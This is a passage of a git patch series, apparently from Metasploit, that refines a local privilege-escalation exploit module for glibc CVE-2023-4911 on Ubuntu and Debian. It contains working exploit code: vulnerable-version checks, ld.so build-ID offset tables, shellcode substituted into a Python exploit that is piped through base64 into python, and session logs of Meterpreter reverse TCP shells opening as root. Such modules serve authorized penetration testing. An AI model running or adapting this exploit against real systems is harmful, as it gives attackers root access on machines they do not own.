[+] The target appears to be vulnerable. The glibc version (2.35-0ubuntu3.1) found on the target appears to be vulnerable -[*] Writing '/tmp/2Vkty.py' (13770 bytes) ... -[*] Running python3 /tmp/2Vkty.py +[+] The Build ID for ld.so: 61ef896a699bb1c2e4e231642b2e1688b2f1a61e is in the list of supported Build IDs for the exploit. [+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes. [*] Sending stage (3045380 bytes) to 192.168.123.228 -[+] Deleted /tmp/2Vkty.py -[*] Meterpreter session 2 opened (192.168.123.1:5555 -> 192.168.123.228:33522) at 2023-11-15 21:58:37 -0500 +[*] Meterpreter session 5 opened (192.168.123.1:5555 -> 192.168.123.228:33016) at 2023-12-19 10:53:09 -0500 -meterpreter > getuid +meterpreter >getuid Server username: root meterpreter > sysinfo Computer : 192.168.123.228 diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb index 010d37c39452..85f9e77ee9f0 100644 --- a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -18,6 +18,15 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck + BUILD_IDS =["69c048078b6c51fa8744f3d7cff3b0d9369ffd53", + "3602eac894717d56555552c84fc6b0e4d6a4af72", + "a99db3715218b641780b04323e4ae5953d68a927", + "a8daca28288575ffc8c7641d40901b0148958fb1", + "61ef896a699bb1c2e4e231642b2e1688b2f1a61e", + "9a9c6aeba5df4178de168e26fe30ddcdab47d374", + "e7b1e0ff3d359623538f4ae0ac69b3e8db26b674", + "956d98a11b839e3392fa1b367b1e3fdfc3e662f6"] + def initialize(info = {}) super( update_info( @@ -110,9 +119,46 @@ def check CheckCode::Safe("The glibc version (#{glibc_version}) found on the target does not appear to be vulnerable") end + + def check_ld_so_build_id + # Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so + if command_exists?('file ') + file_cmd_output = '' + + # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not + # defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default. + sysinfo = get_sysinfo + case sysinfo[:distro] + when 'ubuntu' + if command_exists?('ldconfig') && command_exists?('grep') + (file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')) + end + when 'debian' + if command_exists?('which') && command_exists?('readlink') && + (file_cmd_output = cmd_exec('file "$(readlink -f "$(which ld.so)")"')) + end + end + + if file_cmd_output =~ /BuildID\[.+\]=(\w+),/ + build_id = Regexp.last_match(1) + if BUILD_IDS.include?(build_id) + print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.") + else + fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.") + end + else + print_warning("Unable to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.") + end + else + print_warning("Unable to locate the commands the target in order to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.") + end + end + def exploit fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root? + check_ld_so_build_id + python_binary = find_exec_program fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary vprint_status("Using '#{python_binary}' to run the exploit") From 44b4b3b5bc9538a0e3d40da2fe676738bc726c19 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 19 Dec 2023 12:16:17 -0500 Subject: [PATCH 08/15] Update version parsing --- .../linux/local/glibc_tunables_priv_esc.rb | 26 +++++++------------ 1 file changed, 10 insertions(+), 16 deletions(-) diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb index 85f9e77ee9f0..a64f44cab7da 100644 --- a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -18,14 +18,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck - BUILD_IDS =["69c048078b6c51fa8744f3d7cff3b0d9369ffd53", - "3602eac894717d56555552c84fc6b0e4d6a4af72", - "a99db3715218b641780b04323e4ae5953d68a927", - "a8daca28288575ffc8c7641d40901b0148958fb1", - "61ef896a699bb1c2e4e231642b2e1688b2f1a61e", - "9a9c6aeba5df4178de168e26fe30ddcdab47d374", - "e7b1e0ff3d359623538f4ae0ac69b3e8db26b674", - "956d98a11b839e3392fa1b367b1e3fdfc3e662f6"] + BUILD_IDS = %w[69c048078b6c51fa8744f3d7cff3b0d9369ffd53 3602eac894717d56555552c84fc6b0e4d6a4af72 a99db3715218b641780b04323e4ae5953d68a927 a8daca28288575ffc8c7641d40901b0148958fb1 61ef896a699bb1c2e4e231642b2e1688b2f1a61e 9a9c6aeba5df4178de168e26fe30ddcdab47d374 e7b1e0ff3d359623538f4ae0ac69b3e8db26b674 956d98a11b839e3392fa1b367b1e3fdfc3e662f6] def initialize(info = {}) super( @@ -101,16 +94,18 @@ def check sysinfo = get_sysinfo case sysinfo[:distro] when 'ubuntu' - if (Rex::Version.new('2.35-0ubuntu3.4') > Rex::Version.new(glibc_version) && Rex::Version.new('2.35') > Rex::Version.new(glibc_version)) || - (Rex::Version.new('2.37-0ubuntu2.1') > Rex::Version.new(glibc_version) && Rex::Version.new('2.37') > Rex::Version.new(glibc_version)) || - (Rex::Version.new('2.38-1ubuntu6') > Rex::Version.new(glibc_version) && Rex::Version.new('2.38') > Rex::Version.new(glibc_version)) + # Ubuntu's version looks like: 2.35-0ubuntu3.4. The following massaging is necessary for Rex::Version compatibility + test_version = glibc_version.gsub(/-\d+ubuntu/, '.') + if (Rex::Version.new(test_version).between?(Rex::Version.new('2.35'), Rex::Version.new('2.35.3.4'))) || + (Rex::Version.new(test_version).between?(Rex::Version.new('2.37'), Rex::Version.new('2.37.2.1'))) || + (Rex::Version.new(test_version).between?(Rex::Version.new('2.38'), Rex::Version.new('2.38.6'))) return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable") end when 'debian' - # Debian's version contain a "+" which Rex complains about via: ArgumentError Malformed version number string - glibc_version.gsub!('+', '-') - if (Rex::Version.new('2.31-13-deb11u7') > Rex::Version.new(glibc_version) && Rex::Version.new('2.31') > Rex::Version.new(glibc_version)) || - (Rex::Version.new('2.36-9-deb12u3') > Rex::Version.new(glibc_version) && Rex::Version.new('2.36') > Rex::Version.new(glibc_version)) + # Debian's version looks like: 2.36-9+deb12u1. The following massaging is necessary for Rex::Version compatibility + test_version = glibc_version.gsub(/\+deb/, '.').gsub(/u/, '.').gsub('-', '.') + if (Rex::Version.new(test_version).between?(Rex::Version.new('2.31'), Rex::Version.new('2.31.13.11.7'))) || + (Rex::Version.new(test_version).between?(Rex::Version.new('2.36'), Rex::Version.new('2.36.9.12.3'))) return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable") end else @@ -119,7 +114,6 @@ def check CheckCode::Safe("The glibc version (#{glibc_version}) found on the target does not appear to be vulnerable") end - def check_ld_so_build_id # Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so if command_exists?('file ') From 065abf6b92a272872cb04fa241892e6cff5eba78 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 19 Dec 2023 12:30:02 -0500 Subject: [PATCH 09/15] Rubocop, doc scenario update --- .../linux/local/glibc_tunables_priv_esc.md | 61 ++++++++++++++----- .../linux/local/glibc_tunables_priv_esc.rb | 20 +++--- 2 files changed, 58 insertions(+), 23 deletions(-) diff --git a/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md b/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md index a4abc5b49c08..ce2760291403 100644 --- a/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md +++ b/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md @@ -116,21 +116,54 @@ meterpreter > ### Debian 12 with 2.36-9-deb12u1 installed (ARCH_X64) ``` -msf6 exploit(linux/local/looney_tunables_lpe) > rexploit -[*] Reloading module... +msf6 exploit(linux/local/glibc_tunables_priv_esc) > options + +Module options (exploit/linux/local/glibc_tunables_priv_esc): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION -1 yes The session to run this module on + + +Payload options (linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.123.1 yes The listen address (an interface may be specified) + LPORT 5555 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Auto + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lport 5555 +lport => 5555 +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lhost 192.168.123.1 +lhost => 192.168.123.1 +msf6 exploit(linux/local/glibc_tunables_priv_esc) > run -[*] Started reverse TCP handler on 192.168.123.1:4444 +[*] Started reverse TCP handler on 192.168.123.1:5555 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. The glibc version (2.36-9-deb12u1) found on the target appears to be vulnerable -[*] Writing '/tmp/SnnDbAMC.py' (13770 bytes) ... -[*] Running python3 /tmp/SnnDbAMC.py +[+] The target appears to be vulnerable. The glibc version (2.36-9+deb12u1) found on the target appears to be vulnerable +[+] The Build ID for ld.so: a99db3715218b641780b04323e4ae5953d68a927 is in the list of supported Build IDs for the exploit. [+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes. -[*] Sending stage (38 bytes) to 192.168.123.229 -[+] Deleted /tmp/SnnDbAMC.py -[*] Command shell session 9 opened (192.168.123.1:4444 -> 192.168.123.229:50854) at 2023-11-14 21:03:57 -0500 - -id -uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),113(lpadmin),116(scanner),1000(msfuser) -uname -a -Linux debian 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-2 (2023-07-27) x86_64 GNU/Linux +[*] Sending stage (3045380 bytes) to 192.168.123.229 +[*] Meterpreter session 3 opened (192.168.123.1:5555 -> 192.168.123.229:50370) at 2023-12-19 12:21:34 -0500 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : debian.test.com +OS : Debian 12.1 (Linux 6.1.0-10-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > ``` diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb index a64f44cab7da..168e94476851 100644 --- a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -83,7 +83,7 @@ def initialize(info = {}) def find_exec_program %w[python python3].select(&method(:command_exists?)).first - rescue => e + rescue StandardError => e fail_with(Failure::Unknown, "An error occurred finding a version of python to use: #{e.message}") end @@ -96,16 +96,16 @@ def check when 'ubuntu' # Ubuntu's version looks like: 2.35-0ubuntu3.4. The following massaging is necessary for Rex::Version compatibility test_version = glibc_version.gsub(/-\d+ubuntu/, '.') - if (Rex::Version.new(test_version).between?(Rex::Version.new('2.35'), Rex::Version.new('2.35.3.4'))) || - (Rex::Version.new(test_version).between?(Rex::Version.new('2.37'), Rex::Version.new('2.37.2.1'))) || - (Rex::Version.new(test_version).between?(Rex::Version.new('2.38'), Rex::Version.new('2.38.6'))) + if Rex::Version.new(test_version).between?(Rex::Version.new('2.35'), Rex::Version.new('2.35.3.4')) || + Rex::Version.new(test_version).between?(Rex::Version.new('2.37'), Rex::Version.new('2.37.2.1')) || + Rex::Version.new(test_version).between?(Rex::Version.new('2.38'), Rex::Version.new('2.38.6')) return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable") end when 'debian' # Debian's version looks like: 2.36-9+deb12u1. The following massaging is necessary for Rex::Version compatibility test_version = glibc_version.gsub(/\+deb/, '.').gsub(/u/, '.').gsub('-', '.') - if (Rex::Version.new(test_version).between?(Rex::Version.new('2.31'), Rex::Version.new('2.31.13.11.7'))) || - (Rex::Version.new(test_version).between?(Rex::Version.new('2.36'), Rex::Version.new('2.36.9.12.3'))) + if Rex::Version.new(test_version).between?(Rex::Version.new('2.31'), Rex::Version.new('2.31.13.11.7')) || + Rex::Version.new(test_version).between?(Rex::Version.new('2.36'), Rex::Version.new('2.36.9.12.3')) return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable") end else @@ -128,9 +128,11 @@ def check_ld_so_build_id (file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')) end when 'debian' - if command_exists?('which') && command_exists?('readlink') && + if command_exists?('which') && command_exists?('readlink') (file_cmd_output = cmd_exec('file "$(readlink -f "$(which ld.so)")"')) end + else + fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution') end if file_cmd_output =~ /BuildID\[.+\]=(\w+),/ @@ -141,10 +143,10 @@ def check_ld_so_build_id fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.") end else - print_warning("Unable to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.") + print_warning('Unable to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') end else - print_warning("Unable to locate the commands the target in order to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.") + print_warning('Unable to locate the commands the target in order to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') end end From 96241f509ad87b8615227a060608e97aac35619b Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Tue, 19 Dec 2023 13:18:45 -0500 Subject: [PATCH 10/15] Apply suggestions from code review Co-authored-by: Julien Voisin --- .../exploits/linux/local/glibc_tunables_priv_esc.rb | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb index 168e94476851..9f62da2117bd 100644 --- a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -124,13 +124,11 @@ def check_ld_so_build_id sysinfo = get_sysinfo case sysinfo[:distro] when 'ubuntu' - if command_exists?('ldconfig') && command_exists?('grep') + if command_exists?('ldconfig') (file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')) end when 'debian' - if command_exists?('which') && command_exists?('readlink') - (file_cmd_output = cmd_exec('file "$(readlink -f "$(which ld.so)")"')) - end + (file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"')) else fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution') end @@ -153,11 +151,11 @@ def check_ld_so_build_id def exploit fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root? - check_ld_so_build_id - python_binary = find_exec_program fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary vprint_status("Using '#{python_binary}' to run the exploit") + + check_ld_so_build_id # The python script assumes the working directory is the one we can write to. cd(datastore['WritableDir']) From b86df4820c665210d14ad9f600c05b09465d5480 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 19 Dec 2023 13:50:09 -0500 Subject: [PATCH 11/15] Responded to comments from jvoisin --- data/exploits/CVE-2023-4911/cve_2023_4911.py | 11 +------- .../linux/local/glibc_tunables_priv_esc.rb | 26 ++++++++++++------- 2 files changed, 18 insertions(+), 19 deletions(-) diff --git a/data/exploits/CVE-2023-4911/cve_2023_4911.py b/data/exploits/CVE-2023-4911/cve_2023_4911.py index 0148a6266e05..e5c63df7b63d 100644 --- a/data/exploits/CVE-2023-4911/cve_2023_4911.py +++ b/data/exploits/CVE-2023-4911/cve_2023_4911.py @@ -58,16 +58,7 @@ } # Magic offsets for build IDs can be found for versions of glibc by disabling ASLR and using the original PoC: https://haxx.in/files/gnu-acme.py -BUILD_IDS = { - "69c048078b6c51fa8744f3d7cff3b0d9369ffd53": 561, - "3602eac894717d56555552c84fc6b0e4d6a4af72": 561, - "a99db3715218b641780b04323e4ae5953d68a927": 561, - "a8daca28288575ffc8c7641d40901b0148958fb1": 580, - "61ef896a699bb1c2e4e231642b2e1688b2f1a61e": 560, - "9a9c6aeba5df4178de168e26fe30ddcdab47d374": 580, - "e7b1e0ff3d359623538f4ae0ac69b3e8db26b674": 580, - "956d98a11b839e3392fa1b367b1e3fdfc3e662f6": 322, -} +BUILD_IDS = METASPLOIT_BUILD_IDS libc = cdll.LoadLibrary("libc.so.6") libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p) diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb index 9f62da2117bd..247d465e6e07 100644 --- a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -18,8 +18,15 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck - BUILD_IDS = %w[69c048078b6c51fa8744f3d7cff3b0d9369ffd53 3602eac894717d56555552c84fc6b0e4d6a4af72 a99db3715218b641780b04323e4ae5953d68a927 a8daca28288575ffc8c7641d40901b0148958fb1 61ef896a699bb1c2e4e231642b2e1688b2f1a61e 9a9c6aeba5df4178de168e26fe30ddcdab47d374 e7b1e0ff3d359623538f4ae0ac69b3e8db26b674 956d98a11b839e3392fa1b367b1e3fdfc3e662f6] - + BUILD_IDS = {'69c048078b6c51fa8744f3d7cff3b0d9369ffd53' => 561, + '3602eac894717d56555552c84fc6b0e4d6a4af72' => 561, + 'a99db3715218b641780b04323e4ae5953d68a927' => 561, + 'a8daca28288575ffc8c7641d40901b0148958fb1' => 580, + '61ef896a699bb1c2e4e231642b2e1688b2f1a61e' => 560, + '9a9c6aeba5df4178de168e26fe30ddcdab47d374' => 580, + 'e7b1e0ff3d359623538f4ae0ac69b3e8db26b674' => 580, + '956d98a11b839e3392fa1b367b1e3fdfc3e662f6' => 322 + } def initialize(info = {}) super( update_info( @@ -71,7 +78,7 @@ def initialize(info = {}) 'DisclosureDate' => '2023-10-03', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], - 'SideEffects' => [ ARTIFACTS_ON_DISK, ], + 'SideEffects' => [ ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) @@ -116,7 +123,7 @@ def check def check_ld_so_build_id # Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so - if command_exists?('file ') + if command_exists?('file') file_cmd_output = '' # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not @@ -128,14 +135,14 @@ def check_ld_so_build_id (file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')) end when 'debian' - (file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"')) + (file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"')) else fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution') end if file_cmd_output =~ /BuildID\[.+\]=(\w+),/ build_id = Regexp.last_match(1) - if BUILD_IDS.include?(build_id) + if BUILD_IDS.keys.include?(build_id) print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.") else fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.") @@ -154,16 +161,17 @@ def exploit python_binary = find_exec_program fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary vprint_status("Using '#{python_binary}' to run the exploit") - + check_ld_so_build_id # The python script assumes the working directory is the one we can write to. cd(datastore['WritableDir']) shell_code = payload.encoded.unpack('H*').first - exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code) + + exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code).gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':')) # If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully - output = cmd_exec("$(echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary})") + output = cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary}") if output.blank? print_good('The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.') else From d65ceb9abc070e246a70f04b718688c5afd35ce4 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 19 Dec 2023 13:54:23 -0500 Subject: [PATCH 12/15] Rubocop --- .../linux/local/glibc_tunables_priv_esc.rb | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb index 247d465e6e07..e543322a0e7c 100644 --- a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -18,14 +18,15 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck - BUILD_IDS = {'69c048078b6c51fa8744f3d7cff3b0d9369ffd53' => 561, - '3602eac894717d56555552c84fc6b0e4d6a4af72' => 561, - 'a99db3715218b641780b04323e4ae5953d68a927' => 561, - 'a8daca28288575ffc8c7641d40901b0148958fb1' => 580, - '61ef896a699bb1c2e4e231642b2e1688b2f1a61e' => 560, - '9a9c6aeba5df4178de168e26fe30ddcdab47d374' => 580, - 'e7b1e0ff3d359623538f4ae0ac69b3e8db26b674' => 580, - '956d98a11b839e3392fa1b367b1e3fdfc3e662f6' => 322 + BUILD_IDS = { + '69c048078b6c51fa8744f3d7cff3b0d9369ffd53' => 561, + '3602eac894717d56555552c84fc6b0e4d6a4af72' => 561, + 'a99db3715218b641780b04323e4ae5953d68a927' => 561, + 'a8daca28288575ffc8c7641d40901b0148958fb1' => 580, + '61ef896a699bb1c2e4e231642b2e1688b2f1a61e' => 560, + '9a9c6aeba5df4178de168e26fe30ddcdab47d374' => 580, + 'e7b1e0ff3d359623538f4ae0ac69b3e8db26b674' => 580, + '956d98a11b839e3392fa1b367b1e3fdfc3e662f6' => 322 } def initialize(info = {}) super( From 6a16602a086a81380d2ecac722453c28e98b2e07 Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Wed, 20 Dec 2023 13:08:33 -0500 Subject: [PATCH 13/15] Apply suggestions from code review Co-authored-by: Julien Voisin --- modules/exploits/linux/local/glibc_tunables_priv_esc.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb index e543322a0e7c..716110a2af49 100644 --- a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -124,7 +124,10 @@ def check def check_ld_so_build_id # Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so - if command_exists?('file') + if !command_exists?('file') + print_warning('Unable to locate the `file` command ti order to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') + return + end file_cmd_output = '' # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not @@ -169,7 +172,9 @@ def exploit cd(datastore['WritableDir']) shell_code = payload.encoded.unpack('H*').first - exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code).gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':')) + exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py') + exploir_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code) + exploit_data = exploit_data.gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':')) # If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully output = cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary}") From 342492557d1ae03fe19f2481ee15bb360702b675 Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Wed, 20 Dec 2023 13:09:13 -0500 Subject: [PATCH 14/15] Apply suggestions from code review --- modules/exploits/linux/local/glibc_tunables_priv_esc.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb index 716110a2af49..a81b5caf6991 100644 --- a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -136,10 +136,10 @@ def check_ld_so_build_id case sysinfo[:distro] when 'ubuntu' if command_exists?('ldconfig') - (file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')) + file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")') end when 'debian' - (file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"')) + file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"') else fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution') end From 77fb5d02b206c03f49a59c1ba540f3630fe6eea1 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Wed, 20 Dec 2023 13:16:32 -0500 Subject: [PATCH 15/15] Fixed up indentation and rubocop complaints --- .../linux/local/glibc_tunables_priv_esc.rb | 51 +++++++++---------- 1 file changed, 24 insertions(+), 27 deletions(-) diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb index a81b5caf6991..cf7a401b7cdd 100644 --- a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -125,37 +125,34 @@ def check def check_ld_so_build_id # Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so if !command_exists?('file') - print_warning('Unable to locate the `file` command ti order to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') - return - end - file_cmd_output = '' - - # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not - # defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default. - sysinfo = get_sysinfo - case sysinfo[:distro] - when 'ubuntu' - if command_exists?('ldconfig') - file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")') - end - when 'debian' - file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"') - else - fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution') + print_warning('Unable to locate the `file` command ti order to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') + return + end + file_cmd_output = '' + + # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not + # defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default. + sysinfo = get_sysinfo + case sysinfo[:distro] + when 'ubuntu' + if command_exists?('ldconfig') + file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")') end + when 'debian' + file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"') + else + fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution') + end - if file_cmd_output =~ /BuildID\[.+\]=(\w+),/ - build_id = Regexp.last_match(1) - if BUILD_IDS.keys.include?(build_id) - print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.") - else - fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.") - end + if file_cmd_output =~ /BuildID\[.+\]=(\w+),/ + build_id = Regexp.last_match(1) + if BUILD_IDS.keys.include?(build_id) + print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.") else - print_warning('Unable to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') + fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.") end else - print_warning('Unable to locate the commands the target in order to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') + print_warning('Unable to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') end end @@ -173,7 +170,7 @@ def exploit shell_code = payload.encoded.unpack('H*').first exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py') - exploir_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code) + exploit_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code) exploit_data = exploit_data.gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':')) # If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully